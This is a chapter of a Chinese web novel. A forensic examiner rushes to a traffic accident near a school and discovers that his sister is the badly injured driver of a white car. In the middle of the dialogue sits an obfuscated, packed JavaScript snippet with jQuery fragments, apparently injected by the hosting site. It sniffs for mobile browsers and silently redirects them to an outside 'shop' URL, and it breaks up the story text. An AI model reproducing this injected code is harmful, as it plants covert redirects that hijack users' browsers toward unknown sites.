市局法医中心,下午五点。
难得的清闲下午,手头紧急的案子都已了结,积压的报告也处理得七七八八。
几个年轻法医和实习生聚在休息区,一边喝着咖啡,一边低声讨论着上午一例疑难伤情鉴定的细节,偶尔爆发出轻松的笑声。
苏芮菡正耐心地给一个新来的实习生讲解不同工具造成的骨骼损伤形态差异,语气温和。
谢故迟坐在自己靠窗的办公桌后,面前摊开一本最新的法医学期刊。他看得专注,但耳边也能捕捉到同事们的交谈声。
就在这时,实验室的门被“砰”一声大力推开,撞在墙上发出闷响。
一个穿着巡逻警服的年轻警察气喘吁吁地冲了进来,脸色发白,眼神里带着急切和慌乱。
“谢法医!苏法医!各位!”他声音急促,甚至有些变调,“林队紧急通知!城西附小旁边,刚发生严重车祸!一辆黑色轿车失控,撞了多辆车和行人,现场很乱,可能有伤亡!林队和事故科的兄弟已经先过去了,让我们立刻通知法医中心,先派三个人过去支援!如果有……有死者,需要现场初步勘查!”
轻松的气氛瞬间冻结。闲聊声戛然而止。所有人都站了起来,神情瞬间变得严肃。
“具体位置?伤亡情况初步了解吗?”苏芮菡第一个反应过来,快速问道。
“城西附小正门往东两百米十字路口!现场反馈说很惨烈,撞了一辆三轮车,一位老人受伤;还有一对接孩子放学的母子,轻伤;还有一辆白色小车被撞得很严重,司机……司机情况不明,好像伤得很重!学生受到惊吓,老师保护着……”年轻警员语速飞快地汇报。
白色小车?司机重伤?谢故迟握着期刊边缘的手指几不可察地收紧,心头莫名掠过一丝极快的不安。
城西附小……那个区域……
“小张,小王,跟我走!”苏芮菡已经快速点将,两名年轻力壮的法医助理立刻应声,开始迅速准备现场勘查箱。
这种多人受伤、可能有死亡的车祸现场,需要人手。
“我也去。”谢故迟合上期刊,站起身,声音平静。
他走到自己的储物柜前,拿出常备的现场勘查服和工具箱。那种莫名的不安感在扩大,城西附小……奕含的学校。
姐姐现在……是不是该她去接奕含?
“谢哥,你刚忙完陈默的案子,要不……”苏芮菡有些迟疑。
“没事,走吧。”谢故迟已经套上了深蓝色的勘查服外套,拉链拉到下巴,遮住了里面白色的衬衫。
两辆勘查车拉响警笛,朝着城西方向疾驰而去。
越是靠近事发区域,交通越是拥堵,鸣笛声、哭喊声隐约传来,空气中仿佛都弥漫着一股焦躁不安的气息。
谢故迟看着窗外飞速后退的街景,握着勘查箱提手的手指关节微微泛白。
车子终于冲破拥堵,抵达现场。眼前的景象让所有人都倒吸一口凉气。
十字路口一片狼藉,如同被暴力撕碎的玩具场。
破碎的汽车零件、玻璃渣、扭曲的金属散落一地。一辆前脸完全瘪进去的黑色轿车斜撞在路边的绿化树上,引擎盖冒着淡淡的青烟。
不远处,一辆拉货的三轮车侧翻在地,蔬菜瓜果滚得到处都是,一位白发老人坐在地上,捂着流血的手臂,表情痛苦茫然。
另一侧,一辆电动自行车歪倒,一位年轻母亲正抱着吓哭的孩子,轻声安慰,两人身上都有擦伤,但看起来不重。
而最触目惊心的,是路口中央偏右的位置。
一辆白色的家用轿车,车体右侧从前门到后门被巨大的冲击力完全凹陷,几乎成了废铁。
尤其是驾驶室一侧,变形得更加严重,车窗玻璃粉碎,安全气囊弹出,上面……沾染着刺目的、新鲜的血迹。
车旁的地面上,也有一滩迅速扩大的、暗红色的血泊。
几个先到的交警和派出所民警正在奋力维持秩序,拉设警戒线,疏导交通,救助伤者。
林队带着几个刑警已经赶到,正脸色铁青地指挥着,同时抬头看向路口一侧的监控探头。
谢故迟推开车门,拎着勘查箱下车。
他的目光首先锐利地扫过整个现场,评估情况,确定勘查重点区域。
然而,当他的目光落在那辆损毁严重的白色轿车,以及从严重变形的驾驶室车窗里露出一小片被鲜血浸透的米色的风衣衣角时,他的大脑“嗡”的一声,瞬间一片空白。
那件风衣……上周姐姐来局里看他时,穿的就是这件。
不……不可能……
谢故迟感觉周围的嘈杂声、警笛声、哭喊声瞬间远去,变成一片模糊的嗡鸣。
他的心脏像是被一只冰冷的手狠狠攥住,骤然停止跳动,随即又以疯狂的速度擂动起来,撞得他胸口生疼。
血液仿佛瞬间冲上头顶,又急速褪去,让他眼前发黑,四肢冰冷。
他扔下勘查箱,几乎是凭借着本能,朝着那辆白色轿车冲了过去!脚步踉跄,完全失去了平日的冷静和稳健。
“姐——!”一声嘶哑的、破碎的、完全不像是他能发出的呼喊,冲出了喉咙。
“谢法医!别过去!危险!车可能不稳!”旁边正在救助三轮车老人的一名民警看到他冲过来,下意识地伸手阻拦。
谢故迟此刻什么也听不见,看不见。他的眼睛里只有那辆染血的车,和那截刺目的衣角。
他猛地甩开民警阻拦的手,力道大得惊人,继续往前冲。
“拦住他!”林队也看到了谢故迟的异常,心头一紧,厉声喝道。
立刻有两名刑警上前,一左一右死死架住了谢故迟的胳膊。
“放开我!那是我姐!是我姐!”谢故迟拼命挣扎,双目赤红,额头青筋暴起。
他像一头被困的野兽,想要挣脱钳制,冲向那个可能已经……不,不会的!
“小谢!冷静!你冷静点!”林队冲到他面前,双手按住他剧烈颤抖的肩膀,用力摇晃了一下,试图唤回他的理智,“救护车马上就到!你现在过去也帮不上忙!相信医生!相信我们!”
谢故迟的挣扎在林队和两名刑警的压制下渐渐微弱,但他全身的肌肉依旧紧绷得像石头,眼睛死死盯着那辆白车,胸腔剧烈起伏,喉咙里发出困兽般的、压抑的呜咽。冷汗瞬间湿透了他的后背。
苏芮菡和其他法医也惊呆了,他们从未见过谢故迟如此失态的模样。
“苏法医,你们先对现场进行初步固定!重点黑色肇事车和地面痕迹!白色车辆周围暂时不要靠近,等急救人员处理!”林队快速下令,然后紧紧抓着谢故迟的胳膊,将他带到相对远离核心现场、又能看到情况的路边,“小谢,看着我!看着我!”
谢故迟的目光终于艰难地从白车上移开,对上林队焦急而担忧的眼睛。
“你是法医!是警察!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17559262|204528||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
林队的声音压得很低,却字字敲在谢故迟心上,“现在,我需要你冷静!需要你的专业!你姐姐需要的是医生,是抢救!而我们需要你,抓住那个肇事逃逸的王八蛋!明白吗?!”
肇事逃逸?谢故迟涣散的瞳孔猛地一缩。
对了,黑色轿车……司机呢?
就在这时,尖锐的救护车鸣笛声由远及近。两辆救护车疾驰而来,医护人员迅速下车,冲向伤者。
三轮车老人和那对母子被快速转移。而更多的医护人员,带着担架和急救设备,冲向了那辆白色轿车。
谢故迟看着他们小心地破拆变形的车门,看着他们探身进去检查,看着他们快速而专业地进行现场急救、固定、上担架……每一个动作都牵动着他的神经。
他死死咬住下唇,口腔里弥漫开血腥味,才勉强抑制住再次冲过去的冲动。
林队一直紧紧抓着他的胳膊,给予他无声的支撑,同时也防止他再次失控。
很快,白色轿车的司机被小心地抬了出来,放上担架。
满脸是血,头部、颈部都被固定着,身上盖着保温毯,看不清面容。但谢故迟一眼就认出了那身形。
担架被迅速抬上救护车,车门关闭,鸣笛声再次响起,朝着最近医院的方向飞驰而去。
谢故迟的目光死死追随着远去的救护车,直到它消失在街角。
他感觉全身的力气都被抽空了,腿一软,差点跪倒在地,被林队和旁边的刑警牢牢扶住。
“小刘,你开车,立刻送谢法医去医院!跟紧救护车!”林队对一个年轻刑警命令道,然后看向谢故迟,语气不容置疑,“小谢,去医院!这里交给我们!你姐姐需要你清醒,需要你在!”
谢故迟猛地回过神来。对,医院!他不能倒在这里!
他挣开林队的手,站直身体,声音沙哑得厉害:“我……我去开车。”
“让小刘开!”林队坚持,“你现在这个状态不能开车!”
谢故迟没再坚持,任由那名姓刘的刑警扶着他,走向一辆警车。
就在这时,负责查看监控的交警跑了过来,脸色难看:“林队!监控调取到了!肇事的黑色轿车,在撞人之前,车速就极快,而且行驶轨迹歪歪扭扭,不像正常驾驶!撞了白车之后,司机好像……好像还下车看了一眼,然后又立刻上了别的车,加速逃离了现场!方向是西边出城方向!车辆没有挂牌,车型是常见的黑色大众,具体型号正在比对!”
林队的脸色阴沉得能滴出水来:“立刻全城布控,追查那辆黑色无牌大众!通知沿途所有卡口!调取所有相关路段监控!就是把地翻过来,也要把人给我揪出来!”
他看了一眼被扶上警车、脸色苍白如纸的谢故迟,又看了看那辆染血的白车和一片狼藉的现场,狠狠一拳砸在旁边的警车引擎盖上。
“妈的!”
警车朝着医院的方向疾驰而去。谢故迟靠在副驾驶座椅上,身体僵硬,双手紧紧攥成拳,指甲深深陷进掌心,渗出血丝,他却毫无所觉。
他眼睛一眨不眨地看着前方,目光空洞,只有胸腔内心脏沉重而缓慢的跳动。
姐姐……奕含……
开车的刘刑警透过后视镜担忧地看了他一眼,想说点什么安慰的话,但看到谢故迟那副样子,所有的话都堵在了喉咙里。
他只能将油门踩得更深,警笛长鸣,在车流中开辟出一条通往医院的生命通道。